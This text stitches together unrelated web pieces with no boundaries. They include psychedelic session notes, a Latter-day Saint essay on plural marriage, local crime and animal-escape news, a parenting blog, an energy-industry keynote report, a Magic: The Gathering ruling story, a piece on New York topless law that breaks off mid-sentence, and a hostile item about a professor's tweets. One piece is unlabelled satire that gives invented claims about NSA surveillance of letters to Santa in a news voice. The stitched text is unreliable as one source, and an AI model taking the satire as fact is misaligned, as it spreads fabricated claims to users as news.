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I had to grind the ship to a slow stall to say, at that moment. "I am here."This session suggests that a more efficient way to chart psychedelic experiences would be to: 1) memorize the keyboard of the experiential typewriter so that communication down to ground control could be automatic, and 2) plan the flight in such a way that the ground control would not ask unanswerable questions -- "Where am I indeed!" but would tell the subject where to go. Then the communication task of the voyager would be to indicate if he were on course, i.e., that he was or was not following the flight instructions radioed up by ground control.Ground control should send up stimuli. Suggestivity is wide open. La Guardia tower directs the flight.DID YOU LEARN ANYTHING OF VALUE FROM THIS SESSION? IF SO, PLEASE SPECIFY: "Session was of great value. I am clearly and strongly motivated to work out methods of ground control and planned flights."APPROXIMATELY HOW MUCH OF THE SESSION (IN % OF TIME) WAS SPENT IN EACH OF THE FOLLOWING AREAS?After the Manifesto, monogamy was advocated in the Church both over the pulpit and through the press. On an exceptional basis, some new plural marriages were performed between 1890 and 1904, especially in Mexico and Canada, outside the jurisdiction of U.S. law; a small number of plural marriages were performed within the United States during those years. 4 In 1904, the Church strictly prohibited new plural marriages. 5 Today, any person who practices plural marriage cannot become or remain a member of the Church.
In accordance with a revelation to Joseph Smith, the practice of plural marriage—the marriage of one man to two or more women—was instituted among members of The Church of Jesus Christ of Latter-day Saints in the early 1840s. Thereafter, for more than half a century, plural marriage was practiced by some Latter-day Saints. Only the Church President held the keys authorizing the performance of new plural marriages. 2 In 1890, the Lord inspired Church President Wilford Woodruff to issue a statement that led to the end of the practice of plural marriage in the Church. In this statement, known as the Manifesto, President Woodruff declared his intention to abide by U.S. law forbidding plural marriage and to use his influence to convince members of the Church to do likewise. 3
The Bible and the Book of Mormon teach that the marriage of one man to one woman is God’s standard, except at specific periods when He has declared otherwise. 1
This essay primarily addresses plural marriage as practiced by the Latter-day Saints between 1847 and 1890, following their exodus to the U.S. West and before the Manifesto.
Latter-day Saints do not understand all of God’s purposes for instituting, through His prophets, the practice of plural marriage during the 19th century. The Book of Mormon identifies one reason for God to command it: to increase the number of children born in the gospel covenant in order to “raise up seed unto [the Lord]” (Jacob 2:30). Plural marriage did result in the birth of large numbers of children within faithful Latter-day Saint homes.6 It also shaped 19th-century Mormon society in other ways: marriage became available to virtually all who desired it; per-capita inequality of wealth was diminished as economically disadvantaged women married into more financially stable households;7 and ethnic intermarriages were increased, which helped to unite a diverse immigrant population.8 Plural marriage also helped create and strengthen a sense of cohesion and group identification among Latter-day Saints. Church members came to see themselves as a “peculiar people,”9 covenant-bound to carry out the commands of God despite outside opposition, willing to endure ostracism for their principles.10
For these early Latter-day Saints, plural marriage was a religious principle that required personal sacrifice. Accounts left by men and women who practiced plural marriage attest to the challenges and difficulties they experienced, such as financial difficulty, interpersonal strife, and some wives’ longing for the sustained companionship of their husbands.11 But accounts also record the love and joy many found within their families. They believed it was a commandment of God at that time and that obedience would bring great blessings to them and their posterity, both on earth and in the life to come. While there was much love, tenderness, and affection within many plural marriages, the practice was generally based more on religious belief than on romantic love.12 Church leaders taught that participants in plural marriages should seek to develop a generous spirit of unselfishness and the pure love of Christ for everyone involved.
During the years that plural marriage was publicly taught, all Latter-day Saints were expected to accept the principle as a revelation from God.13 Not all, however, were expected to live it. Indeed, this system of marriage could not have been universal due to the ratio of men to women.14 Church leaders viewed plural marriage as a command to the Church generally, while recognizing that individuals who did not enter the practice could still stand approved of God.15 Women were free to choose their spouses, whether to enter into a polygamous or monogamous union, or whether to marry at all.16 Some men entered plural marriage because they were asked to do so by Church leaders, while others initiated the process themselves; all were required to obtain the approval of Church leaders before entering a plural marriage.17
The passage of time shaped the experience of life within plural marriage. Virtually all of those practicing it in the earliest years had to overcome their own prejudice against plural marriage and adjust to life in polygamous families. The task of pioneering a semiarid land during the middle decades of the 19th century added to the challenges of families who were learning to practice the principle of plural marriage. Where the family lived—whether in Salt Lake City, with its multiple social and cultural opportunities, or the rural hinterlands, where such opportunities were fewer in number—made a difference in how plural marriage was experienced. It is therefore difficult to accurately generalize about the experience of all plural marriages.
Still, some patterns are discernible, and they correct some myths. Although some leaders had large polygamous families, two-thirds of polygamist men had only two wives at a time.18 Church leaders recognized that plural marriages could be particularly difficult for women. Divorce was therefore available to women who were unhappy in their marriages; remarriage was also readily available.19 Women did marry at fairly young ages in the first decade of Utah settlement (age 16 or 17 or, infrequently, younger), which was typical of women living in frontier areas at the time.20 As in other places, women married at older ages as the society matured. Almost all women married, and so did a large percentage of men. In fact, it appears that a larger percentage of men in Utah married than elsewhere in the United States at the time. Probably half of those living in Utah Territory in 1857 experienced life in a polygamous family as a husband, wife, or child at some time during their lives.21 By 1870, 25 to 30 percent of the population lived in polygamous households, and it appears that the percentage continued to decrease over the next 20 years.22
The experience of plural marriage toward the end of the 19th century was substantially different from that of earlier decades. Beginning in 1862, the U.S. government passed laws against the practice of plural marriage. Outside opponents mounted a campaign against the practice, stating that they hoped to protect Mormon women and American civilization. For their part, many Latter-day Saint women publicly defended the practice of plural marriage, arguing in statements that they were willing participants.23
After the U.S. Supreme Court found the anti-polygamy laws to be constitutional in 1879, federal officials began prosecuting polygamous husbands and wives during the 1880s.24 Believing these laws to be unjust, Latter-day Saints engaged in civil disobedience by continuing to practice plural marriage and by attempting to avoid arrest. When convicted, they paid fines and submitted to jail time. To help their husbands avoid prosecution, plural wives often separated into different households or went into hiding under assumed names, particularly when pregnant or after giving birth.25
By 1890, when President Woodruff’s Manifesto lifted the command to practice plural marriage, Mormon society had developed a strong, loyal core of members, mostly made up of emigrants from Europe and the Eastern United States. But the demographic makeup of the worldwide Church membership had begun to change. Beginning in the 1890s converts outside the United States were asked to build up the Church in their homelands rather than move to Utah. In subsequent decades, Latter-day Saints migrated away from the Great Basin to pursue new opportunities. Plural marriage had never been encouraged outside of concentrated populations of Latter-day Saints. Especially in these newly formed congregations outside of Utah, monogamous families became central to religious worship and learning. As the Church grew and spread beyond the American West, the monogamous nuclear family was well suited to an increasingly mobile and dispersed membership.
For many who practiced it, plural marriage was a significant sacrifice. Despite the hardships some experienced, the faithfulness of those who practiced plural marriage continues to benefit the Church in innumerable ways. Through the lineage of these 19th-century Saints have come many Latter-day Saints who have been faithful to their gospel covenants as righteous mothers and fathers, loyal disciples of Jesus Christ, and devoted Church members, leaders, and missionaries. Although members of the contemporary Church are forbidden to practice plural marriage, modern Latter-day Saints honor and respect these pioneers who gave so much for their faith, families, and community.
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Jacob 2:27, 30. For instances of plural marriage in the Bible, see Genesis 16:3; 25:1; 29:21-30; 30:3-4, 9. See also D&C 132:34-35. D&C 132:7. The Church President periodically set apart others to perform plural marriages. See Official Declaration 1. Kathryn M. Daynes, More Wives than One: Transformation of the Mormon Marriage System, 1840–1910 (Urbana: University of Illinois Press, 2001), 208–9; Thomas G. Alexander, Mormonism in Transition: A History of the Latter-day Saints, 1890–1930 (Urbana: University of Illinois Press, 1986), 60–73; Encyclopedia of Mormonism, 5 vols. (1992), “Manifesto of 1890,” 2:852–53. “Official Statement,” Apr. 6, 1904, in James R. Clark, ed., Messages of the First Presidency of The Church of Jesus Christ of Latter-day Saints, 6 vols. (1965–1975), 4:84–85. Studies have shown that monogamous women bore more children per wife than did polygamous wives except the first. Fertility at the societal level, however, was enhanced because of the near universality of marriage among women and the abundant opportunities for remarriage among previously married women of childbearing age. L. L. Bean and G. P. Mineau, “The Polygyny–Fertility Hypothesis: A Re-evaluation,” Population Studies 40 (1986): 67–81; Miriam Koktvedgaard Zeitzen, Polygamy: A Cross Cultural Analysis (Oxford and New York: Berg, 2008), 62–63. Daynes, Transformation of the Mormon Marriage System, 130–33. Kathryn M. Daynes, “Forging Mormon Society: Polygamy and Assimilation,” (Presentation at the Western Historical Association, Fort Worth, TX, Oct. 10, 2003). 1 Peter 2:9. See Jacob 1:8; and Acts 5:41. Studies of the 19th-century Mormon image in the United States have found the Mormons were most closely associated with plural marriage. Jan Shipps, Sojourner in the Promised Land: Forty Years among the Mormons (Urbana: University of Illinois Press, 2000), 51–97. For an exploration of some of these difficulties, see Jessie L. Embry, Mormon Polygamous Families: Life in the Principle (Salt Lake City: Greg Kofford Books, 2008). For one example of the feelings that existed between husband and wives, see Terryl L. Givens and Matthew J. Grow, Parley P. Pratt: The Apostle Paul of Mormonism (New York: Oxford University Press, 2011), 305, 329–30. Plural marriage was first introduced privately to a small group of Church members, which expanded over time. Church leaders publicly announced the practice in 1852. Recent calculations using a 3 percent growth rate and an average five-year age interval between husbands and wives at first marriage (reasonable estimates for the 19th-century Mormon population) indicate that the upper limit of sustainable polygamy in a stable society is 16 percent of husbands and 28 percent of wives. Davis Bitton and Val Lambson, “Demographic Limits of Nineteenth-Century Mormon Polygyny” BYU Studies Quarterly 51, no. 4 (2012): 11–15. See, for example, the comments of George Q. Cannon, in Journal of Discourses, 22:124–25, 23:278. See, for example, Emmeline B. Wells, Ellen B. Ferguson, Emily S. Richards, and Joseph M. West, letter to the Honorable Committee of the Senate on Education and Labor, May 12, 1886, quoted in Daynes, Transformation of the Mormon Marriage System, 61. They testified, “No Mormon woman, old or young, is compelled to marry at all, still less to enter into polygamy.” In addition, Brigham Young stated: “When your daughters have grown up, and wish to marry let them have their choice in a husband. … Take this or that man if you want them my girls, … you shall have your own agency in the matter even as I want mine.” Brigham Young Sermon, Apr. 16, 1854, Brigham Young Office Files, Church History Library, Salt Lake City. See, for example, Lowell C. Bennion, “Mapping the Extent of Plural Marriage in St. George, 1861–1880,” BYU Studies Quarterly 51, no. 4 (2012): 34–49; and Embry, Mormon Polygamous Families, 75–81. These figures are based on two different studies using different sources. Stanley S. Ivins, “Notes on Mormon Polygamy,” Western Humanities Review 10, no. 3 (Summer 1956): 233; and Daynes, Transformation of the Mormon Marriage System, 130. Brigham Young’s large family was definitely atypical. See Dean C. Jessee, “‘A Man of God and a Good Kind Father’: Brigham Young at Home,” BYU Studies 40, no. 2 (2001): 23–53. Brigham Young to William H. Dame, Aug. 8, 1867, Brigham Young Letterbook, vol. 10, p. 340, Brigham Young Office Files, Church History Library, Salt Lake City; Daynes, Transformation of the Mormon Marriage System, 141–70. In general, women in Utah Territory could obtain a divorce more easily than in most other places in the United States at the time. One of Brigham Young’s clerks explained: “As a rule, the Prest. [Brigham Young] never refuses a bill [of divorcement] on the application of a wife, and NEVER when she INSISTS on it.” Quoted in Embry, Mormon Polygamous Families, 253. Daynes, Transformation of the Mormon Marriage System, 107; Cynthia Culver Prescott, “‘Why Didn’t She Marry Him’: Love, Power and Marital Choice on the Far Western Frontier,” Western Historical Quarterly 38, no. 1 (Spring 2007): 25–45; Paul Bourke and Donald DeBats, Washington County, [Oregon,] Politics and Community in Antebellum America (Baltimore: Johns Hopkins University Press, 1995), 121. Lowell C. Bennion and others, Polygamy in Lorenzo Snow’s Brigham City: An Architectural Tour (Salt Lake City: Western Regional Architecture Program, University of Utah, 2005), 26; Marie Cornwall, Camela Courtright, and Laga Van Beek, “How Common the Principle? Women as Plural Wives in 1860,” Dialogue: A Journal of Mormon Thought 26 (Summer 1993): 149; Daynes, More Wives Than One, 101. Lowell C. Bennion, “Plural Marriage, 1841–1904,” in Brandon S. Plewe, ed., Mapping Mormonism: An Atlas of Latter-day Saint History (Provo, UT: Brigham Young University Press, 2013), 122–25; Lowell C. Bennion, “The Incidence of Mormon Polygamy in 1880: ‘Dixie’ versus Davis Stake,” Journal of Mormon History 11 (1984): 17, 31. Proceedings in Mass Meeting of the Ladies of Salt Lake City, to Protest against the Passage of Cullom’s Bill, January 14, 1870 (Salt Lake City: 1870); Lola Van Wagenen, “In Their Own Behalf: The Politicization of Mormon Women and the 1870 Franchise,” in Carol Cornwall Madsen, ed., Battle for the Ballot: Essays on Woman Suffrage in Utah, 1870–1896 (Logan, UT: Utah State University Press, 1997), 60–73. Sarah Barringer Gordon, The Mormon Question: Polygamy and Constitutional Conflict in Nineteenth-Century America (Chapel Hill: University of North Carolina Press, 2002). Ronald W. Walker, “A Mormon ‘Widow’ in Colorado: The Exile of Emily Wells Grant,” in Qualities That Count: Heber J. Grant as Businessman, Missionary, and Apostle (Provo, UT: Brigham Young University Press, 2004), 175–93; Kimberly Jensen James, “‘Between Two Fires’: Women on the ‘Underground’ of Mormon Polygamy,” Journal of Mormon History 8 (1981): 49–61.
The Church acknowledges the contribution of scholars to the historical content presented in this article; their work is used with permission.
Originally published October 2014.Police officers in Stonehaven have appealed for witnesses after 30 lobster creels, valued at a low four-figure sum, were stolen from the harbour area.
The theft happened overnight between Thursday and Friday and police said that a large van or open backed vehicle would have been used to remove them.
PC Andrew Adam from the Stonehaven Police Office said: “Thefts of this kind can often be directly linked to people’s livelihoods and as such have an impact on the local community.
“I would ask members of the public to contact Police Scotland via the 101 number if they have any information in relation to this theft or if they were in the harbour area on Thursday night and saw anything suspicious. As well as the 101 number, people can contact Police Scotland anonymously through Crimestoppers on 0800 555 111.”Five police cars were hot on the tails of the three equids after they went missing from a ranch in the Belgian capital
Three zebras have led police and zookeepers on a trotting-speed chase in Brussels, as documented by Belgian media and a collection of videos and photographs posted online.
The animals, which have now been caught, were chased through the city by up to five police cars after they escaped from a local zebra ranch.
It is thought that they used the Van Praet tunnel to walk to the centre of Brussels, where they enjoyed a casual stroll along the canal. Images also showed the animals – known collectively as a herd, cohort, zeal or dazzle – trotting behind moving cars.
According to Twitter users, radio stations called on drivers to “be careful, there are three zebras walking around in Brussels”.
Police said no one was injured by the animals, though many surprised spectators have discovered a whole new meaning to the term “zebra crossing”.
Unsurprisingly, #zebragate went viral this afternoon, with tweeters and wags weaving images of them into various internet memes and images.
Jail the banksters (@VDucrotois) #Zebragate 3 zebras downtown #Brussels (Van Praettunnel) = sign of a #Grexit? @williambanzai7 pic.twitter.com/eGbcNOZ0VO
Sien (@theseguysthough) There are 3 zebras running around in Brussels. Welcome to Belgium.
Charlotte Vandevelde (@vantveldje) Madagascar 4: now playing live in the streets of Vilvoorde #zebra #zebragate pic.twitter.com/0S141M9JAv
Aïda Pida (@AidaDeMol) #BREAKING Politie overrijdt 1 van de 3 zebra's. + #Planckendael heeft weer voeder voor de roofdieren. #zebragate pic.twitter.com/sYCOKpay5yThe other day on the way home from school, my 8-year-old suddenly interrupted his own excited play-by-play of his day's highlights with a roaring rendition of "Tomorrow," the famous tune from Annie. "The sun will come out tomorrow. Bet your bottom dollar that tomorrow ther'll be sun..."
"Why are they always talking about the sun?" he asked, interrupting himself yet again.
"Well," I responded. "The sun is seen as a symbol of brightness, hope, warmth and possibility." I continued. "Remember that those girls didn't have parents caring for them. They were stuck in an orphanage with that evil Miss Hannigan, hoping and praying that someone kind would show up at the door, looking to adopt them."
Again, I was was interrupted. "Miss. Hannigan's not evil," my son said, in all seriousness. "She just has special needs."
As often happens in my parenting journey, I was caught off guard. First I had a good long belly laugh like only those improbable kid proclamations can bring on. And then I felt proud. Yet another children's movie had attempted to simplify human nature by dividing us into two bland categories of good and evil, all the nuances of our lives left to fall by the wayside. But my 8-year-old was having none of it!
Underneath her alcoholism and abusive behavior, even Miss Hannigan had a story.
What my son knew instinctively, that Miss Hannigan's behaviors were a call for help that no one was answering, is often lost on us big people. Rather than moving towards others when they show behaviors indicative of struggle, we often pull away, insulting or shaming them for their differences, slaves to our own inner struggles.
I'm not advocating for a free-for-all of dysfunctional or hurtful behavior. Interventions and limit setting are vital. First and foremost we need to keep everyone safe. But we can't just be compassionate when it comes easily. Having compassion requires taking a virtual trip into the dark depths of those who do wrong by us, or by others, learning their stories, letting go of anger, disappointment or embarrassment, and moving on.
Easy to do? No! But necessary in teaching our boys about compassion. We, adults, are often limited in our ability to be compassionate with those who break certain social norms, and in my life as the mother of three boys and an advocate for young boys and their parents this often looks like a jab, a grab, a hit, a loud voice, a big movement, an inappropriate joke, or a joke at an inappropriate time... the list is long.
Young boys have it hard. For many, from the start of traditional schooling, they are square pegs of energy and curiosity shoved into round holes of sitting quietly at desks, doing what someone else has on their agenda. I think about all the squashed potential! I think about someone forcing me to perform well in a career that taps none of my talents, but only magnifies my struggles and weaknesses. I cringe, experiencing the feelings of embarrassment and shame I imagine I would feel as I tried over and over again to be successful at something that did not come easily, while others criticized and punished.
And outside of school, even where I live today, in what is supposedly one of the most open-minded places on the planet, I constantly see boys' energy, spirits and feelings being squelched by adults who choose only to be bothered, or even scared by them, rather than appreciate their uniqueness or offer them an ear when they need to talk, a shoulder when they need to cry, or a hand when they are stuck in some unworkable behavior.
As parents, we must work hard to change this! We must reach for our boys when their behaviors are ugly, aggressive, or mean. Keeping sight of their goodness is our job. The more we see it, the more compassion we will feel towards them. And the more love and compassion they feel coming their way, the greater their ability to share their goodness with the world.
It can be hard to see past Miss Hannigan's screaming and drinking, but we can imagine that her road was a rocky one. And it can be equally difficult to see through a boy's defiance or anger. But those boys have stories too. In helping our boys share their stories, we are, in effect, cultivating compassion.
This post is part of the 1000 Voices for Compassion movement, an online campaign that happened on February 20, 2015 (or a few days later if you're an overwhelmed mom of three, trying to cultivate self-compassion...) to flood the blogosphere with kindness, caring, compassion, non-judgement and all around goodness. To read other stories of compassion, check out the hashtag #1000Speak on Facebook and Twitter.
To receive weekly(ish) inspiration from Tosha Schore, Your Partner In Parenting,
Join her communityThe head of New Zealand utility Vector says network operators on both sides of the Tasman are locked into a decades-old mindset, and will struggle to adapt to a new environment where customers want to be in control of their own lives.
In a keynote address to the Disruption and the Energy Industry conference hosted by RenewEconomy in Sydney this week, Vector CEO Simon Mackenzie said the energy industry was destined to be attacked by new players – Google, Apple and a host of unknown entrants.
Most incumbents, he said, were completely unprepared for this. And network operators, generators and even energy regulators were equally at fault. Some of their responses – such as jacking up network and fixed charges – were an “exercise in futility”, Mackenzie said.
“If you look back, there was no thinking about customers. The attitude was that we will build generation, transmission and distribution – and the customer should be happy that they can turn the lights on,” Mackenzie said.
“That attitude has permeated the industry for a long time. But that time has run out… customers now want to be in control of their own lives.”
Vector – whose primary business is to deliver electricity to 700,000 customers in and around Auckland – has been at the forefront of new thinking about technologies and business models.
It was the first in the region to introduce solar PV and battery storage options to its customers, and it will be one of the first to adopt the Tesla battery storage offering.
“The world is changing around us,” Mackenzie said. “Our vision is to create a new energy future … And not become a victim of it.
“We don’t see disruptive technologies as a threat, we see them as an opportunity to deliver services to customers, and to make savings on network investments. “
Mackenzie estimates that in the new Zealand market there is some $4 billion of revenue at risk from disruptive technologies. And these would not come just from rooftop solar and battery storage, but also the smart software and new business models that accompanied them.
Some of these new competitors were known – but some were not. “Look at Google and Apple, they will all do something in this space. But what is not known is who will be the Uber of the energy sector.”
“There are no experts in that space. If anyone says they are an expert on what is happening going forward, they are wrong. We will see change and it will get faster.”
So much so, that Mackenzie says the network is now taking a five-year perspective on its assets, rather than the 40-year outlook that has dominated an industry that has changed little in decades.
“They will come at us completely from left field and what they do to business model perspective is just not known.
“There has been too much focus on hardware – generation, solar, battery storage, cables and transformers. But there has been not enough on software and the consumer behaviour side of life.”
But he said many networks and regulators dismissed this as a “blip” in the radar and assumed that everything would get back in line. This was being reflected in decisions to try to penalise customers with tariff increases.
He cited a recent decision to lower the fixed usage charge for households with low consumption – for everyone except for those with solar panels.
Mackenzie said that made no sense. “They try to put barriers up to protect the market, but they will be broken down (by technologies). It is basically an endless search of futility. They wont be able to stem the tide.”
Mackenzie said Vector was looking at its network “upside down”, working out what the consumer wants and building it up from there.
He predicts “exponential growth” in customers wanting solar and battery storage. He said Vector’s surveys showed customers were not driven primarily by price (that ranked number 4), but by a desire to have control, to do something for future generation, and do something for the environment.
These people may be “early adopters”, but as the costs come down, it will become appealing to other consumers too.
Mackenzie said Vector had generated a huge response to its recent initiative to install solar and storage in community buildings and installations.This story comes from last year’s Modern GP in Minneapolis. I was playing against a high-profile player who I had just attacked down to three life. I had a Lightning Bolt in my graveyard and I showed my opponent the Snapcaster Mage in my hand and said the words, “Snapcaster Bolt?” My opponent told me to actually go through the motions, and that’s when I remembered what the Burrenton Forge-Tender that he had in play did.
I hadn’t tapped any mana for the Snapcaster Mage or even moved it out of my hand at his point, and I asked my opponent if I had to make that play. Neither of us had any idea, so we called a judge. The first judge to show up made it pretty clear that he wasn’t able to make a definitive ruling, but held me to making the play that I suggested. I appealed and the head judge explained that there wasn’t a hard rule for situations like this, and said that he was going to rule my communication as a shortcut and hold me to my actions, but he allowed me to make my case.
I argued that my actions were more akin to flashing a counterspell and asking my opponent if me having that card in my hand left them dead. As I hadn’t tapped any mana or done anything with the battlefield, I contended that I hadn’t actually made a game action.
My opponent made the point that if he had not made me go through the motions I would have just played into the Forge-Tender. This is an interesting point, and while it was true of this situation it could also have been true that I was only flashing him the Snapcaster in the hopes that he would forget about his Forge-Tender and scoop.
More importantly, this argument was not relevant in the judge’s ultimate ruling. Whether making me actually commit the actions impacted my thinking doesn’t have any impact on the matter of my communication being counted as a shortcut.
The head judge wasn’t convinced of my argument and ruled that my actions would be considered a shortcut. What call would you make if you were the head judge in this scenario?
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Ryan Overturf Ryan has been playing Magic since Legions and playing competitively since Lorwyn. While he fancies himself a Legacy specialist, you'll always find him with strong opinions on every constructed format. More Posts
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The documents describe an operation known as MILK COOKIES, based out of Fort Meade and run in conjunction with the U.S. Postal Service. COOKIES is the interception of the letters while MILK feeds them through a complex series of algorithms to spot any hidden messages.
Agency director Gen. Keith Alexander had previously testified to Congress in 2011 that the NSA would occasionally collect letters addressed to Santa, but insisted that it was totally accidental and that no one was actually reading or storing them.
The NSA is prohibited from directly monitoring American citizens under both Executive Order 12333 and the Foreign Intelligence Surveillance Act. However, because the letters are addressed to the North Pole, which falls outside of U.S. territory, they are considered potential foreign intelligence signals which the NSA is authorized to intercept.
Speaking on condition of anonymity, a former senior administration official defended the program: “We’re only looking for any unusual presents, like children who ask Santa for pressure cookers, large amounts of ammonium nitrate fertilizer, hyzadrine rocket fuel, things like that. I mean a six-year old with a hammer is bad enough; just try to imagine that same six-year old with a truck bomb.”
The leaked reports show that the NSA also routinely hacked Santa’s Naughty and Nice List for any information on world leaders, and at one point tried to smuggle surveillance devices disguised as lumps of coal into Santa’s sack. They also reveal the existence of a massive NSA data storage center at the North Pole, known as ELFCHELON, which dwarfs even the planned one at Utah, and is capable of storing letters dating back to 1952.
The documents were part of the massive data haul taken by fugitive whistleblower and Playgirl centerfold Edward Snowden, whom the former official referred to as “a very naughty boy.”
U.S. intelligence has closely monitored the Letters to Santa program ever since the U.S. Post Office first created it in 1912. Initially, children’s letters were reviewed by both Army and Navy Intelligence under the aegis of Project SHAMROCK until that program’s termination in 1975.
Four years later the NSA began MILK COOKIES in response to the Secret Santa program, which the agency initially thought was a Soviet operation after a flier for the program mistakenly replaced the picture of Santa with Karl Marx.
Following the September 11, 2001, terrorist attacks, the NSA began an almost-relentless campaign to insert itself both legally and covertly into the Christmas spirit.
First the NSA managed to get language inserted into the PATRIOT Act which required Santa to file a flight plan with NORAD and submit to random TSA inspections at select chimneys. Then came the 2002 judgment in United States v. Kringle, when the NSA and the Justice Department ordered him to deliver multiple GPS devices to the location of Usama bin Laden and other high-ranking Al Qaeda leaders.
When Santa refused and was put on a no-fly list he briefly had to outsource all his American operations to Canada, which handles diplomatic issues for the North Pole.
In response to the scandal, the task force appointed by President Obama to review NSA activity has issued a further critique of the agency. Calling Santa a “close and traditional U.S. ally,” panel member Richard Clarke urged tough new restrictions on NSA collection against holiday figures.
He added, “We’re not in any way recommending the disarming of the intelligence community. The NSA can still spy on the Easter Bunny.”
Top NSA officials were skeptical. “What else would you expect from someone who asked Santa for a Barbie doll when he was nine?” Gen. Alexander was overheard remarking.
Some privacy advocate groups believe that the panel’s recommendations don’t go far enough. They are telling parents not to let their children use the U.S. Post Office to contact Santa this year, and risk having their children’s information indefinitely stored for whatever the government wants to use it for.
Parents are instead being urged to use organizations that have a higher regard for privacy, such as Google or Facebook.Topless In New York: The Court Case That Makes Going Top Free Legal
Enlarge this image toggle caption John Angelillo /UPI /Landov John Angelillo /UPI /Landov
Women who walk around Times Square in New York City wearing nothing but paint over their breasts have been at the center of controversy the past few weeks.
Mayor Bill de Blasio wants the women — known as "desnudas" or the naked ones — to go. He even threatened to dismantle the pedestrian plazas built in Times Square to make it so.
But de Blasio is facing a complicated legal landscape that is underpinned by a state court decision in 1992.
The story starts on June 21, 1986 when a group of women decided to protest a law that appeared to make going topless illegal.
Here's how the Village Voice described the protest in 2013:
"Ramona Santorelli and Mary Lou Schloss made history at a topless picnic a group of feminists staged for the sole purpose of getting arrested. "'We chose June 21, the summer solstice,' Santorelli says of the watershed event in 1986. Nine women took off their shirts and waited for police to arrest them. The activists were charged with violating New York state penal law section 245.01, which prohibits exposing 'the private or intimate parts' of one's body. The law went on to spell out a crucial gender distinction: On 'a female person,' said 'parts' included 'that portion of the breast which is below the top of the areola.'"
Santorelli and Schloss challenged their convictions in court. They argued that the Equal Protection Clause of the 14th Amendment made it unconstitutional for lawmakers to ban women — but not men — from going topless.
The court threw out the women's convictions, but they did not go as far as Santorelli and Schloss wanted them to.
Instead, a majority of the court sidestepped the constitutional issue with a narrow ruling. The court pointed to previous decision in 1973 that said that section 245.01 of the penal code, should not be applied to "the noncommercial, perhaps accidental, and certainly not lewd, exposure alleged."
The key word |
Milne & Stonehouse Council workers sawed off the tail of one horse in 2014 due to its sharp point and potential danger to children. Pot plants and seating were also installed to deter people from walking directly into the horses, but Cr Pickering said that didn't stop people from colliding with them. "People just don't take notice anymore – they're looking down at their phones and things like that," Cr Pickering said. The Origami Horses lit up at night. "Personally, I actually like the sculptures, they're actually very attractive and they light up at night – but my view is public safety has to come first."
A spokesman for Ryde Council said following a meeting last December the "council resolved to remove the artwork (horse sculpture) from West Ryde Plaza and to give formal notice to the artist of Council's resolution. Council is currently exploring other locations to relocate the artwork within the City of Ryde. Until a suitable location is determined, the artwork will be fenced off at West Ryde Plaza." The horses sat behind a cyclone fence for months. But questions are being raised as to why the community was not consulted about the plans for the future of the Origami Horses. "It was a push from the West Ryde chamber of commerce – but the community weren't consulted," Cr Jerome Laxale said. "You have to consult with the community." A near-$1 million proposal to redevelop the mall would see the sculptures removed and replaced with shade cloths and seating areas, and a temporary stage at one end. "That's one of the proposals that we're looking at and I personally think that's what needs to happen, with or without the horses," Cr Pickering said. Another option was for the sculptures remain in the plaza, but placed on poles above the ground. However, a majority of councillors resolved to remove the sculptures.
"I don't necessarily agree with the majority decision, as I feel there are probably more people who walk into power poles and trees all the time, or trip over footpaths," another councillor, Justin Li, said. "For as long as there are people, there will be people who walk into things – I don't think we can always bubble wrap everything." Fairfax Media understands the sculptures will be placed into storage until a new suitable alternative location can be found. The council is looking at a number of locations, including the Ryde Riding for the Disabled in Marsfield Park, which runs therapy classes.US cities have seen a massive crash in LTE data speeds this year - but consumers haven’t noticed as latencies are getting lower.
According to TwinPrime’s State of Mobile Performance, T-Mobile has emerged as the fastest mobile operator in the US and many European countries. The survey also shows Europe continues to enjoy faster, but patchier LTE coverage than the USA - and huge 4G growth in India.
The bumper, biannual bumper survey of global network trends is gleaned from 6 billion data points from mobile apps, and measures Wi-Fi as well as cellular data performance. App developers will want to drill down into the detail to optimise their apps for specific markets.
In the US, TwinPrime finds T-Mobile to be the fastest network across LTE and 3G, with the lowest latencies, while Verizon has the broadest LTE footprint (at 95.3 per cent). Network quality has improved, with response times falling by almost 20 per cent.
However as more users crowd on to a network, speeds drop. The US blazed the LTE trail and as result, is slower than Europe’s newer LTE networks.
Based on test retrieving static images, New York has fallen from first place to seventh in the US metropolitan rankings for LTE performance, with a 44 per cent drop. San Francisco now takes top spot, and is the only city tested to remain above an average speed of 2.5Mb/s. When TwinPrime last performed the test in December 2015, all 11 metropolitan areas tested enjoyed average speeds of over 2.5Mb/s.
“This staggering drop in performance could partly be explained by the increased LTE traffic share in these cities, or an increase in overall mobile data consumed by LTE devices,” the report suggests.
But it's also a caution against using data speed as your only proxy for network performance. TwinPrime notes that despite the crash, network performance is improving.
"Network response times have dropped by almost 20 per cent compared to December 2015 and retransmit rates for LTE networks in most cities is nearly 0 per cent," the report notes.
For Europe, T-Mobile offers the best 4G speeds, while EE and O2 the most consistent performance. Somewhat confusingly, the report refers to T-Mobile as a UK operator (EE stopped selling new T-Mobile contracts last year https://www.broadbandchoices.co.uk/news/mobile/ee-to-stop-connecting-t-mobile-and-orange-customers-00208) and refers to “England” rather than the UK. We’ve requested clarification.
India has seen LTE coverage rocket from 5 per cent in 2015, to 23 per cent in the first half of 2016.
One more surprising stat emerges: Android is 35 per cent faster on the static image test than iOS in India, and also maintains an advantage over Wi-Fi.
You can find more numbers here. ®An anti-white Drexel professor said he was disgusted a fellow traveler gave up their seat for a uniformed member of the military.
Then it was time for the rest of the Internet to register its disgust.
PROFESSOR UNDER FIRE FOR 'WHITE GENOCIDE' TWEET BLAMES 'VIOLENT RACISTS' FOR UPROAR
The Twitter backlash was swift for George Ciccariello, a visiting researcher at the National Autonomous University of Mexico who had a bad taste in his mouth after witnessing a kind act.
“Some guy gave up his first class seat for a uniformed soldier. People are thanking him. I’m trying not to vomit or yell about Mosul,” Ciccariello tweeted on March 26.
DREXEL PROFESSOR DRAWS IRE AFTER POSTING 'WHITE GENOCIDE' TWEET ON CHRISTMAS
Conservative writer Ben Shapiro replied: “Because you’re a douchebag?”
After Ciccariello apparently blocked Washington Times columnist Madison Gesiotto, she wrote: “Maybe he’s busy vomiting.”
This isn’t the first time Ciccariello has drawn ire for his tweets.
In 2015 Ciccariello wrote “Abolish the White Race” and said Charleston church shooter Dylann Roof “put into practice what many white Americans already think.” In December 2016 he referred to two men in a viral video as “Racist Crackers.”
Ciccariello’s account, @ciccmaher, has its tweets protected; however, several of the more inflammatory messages have been archived.
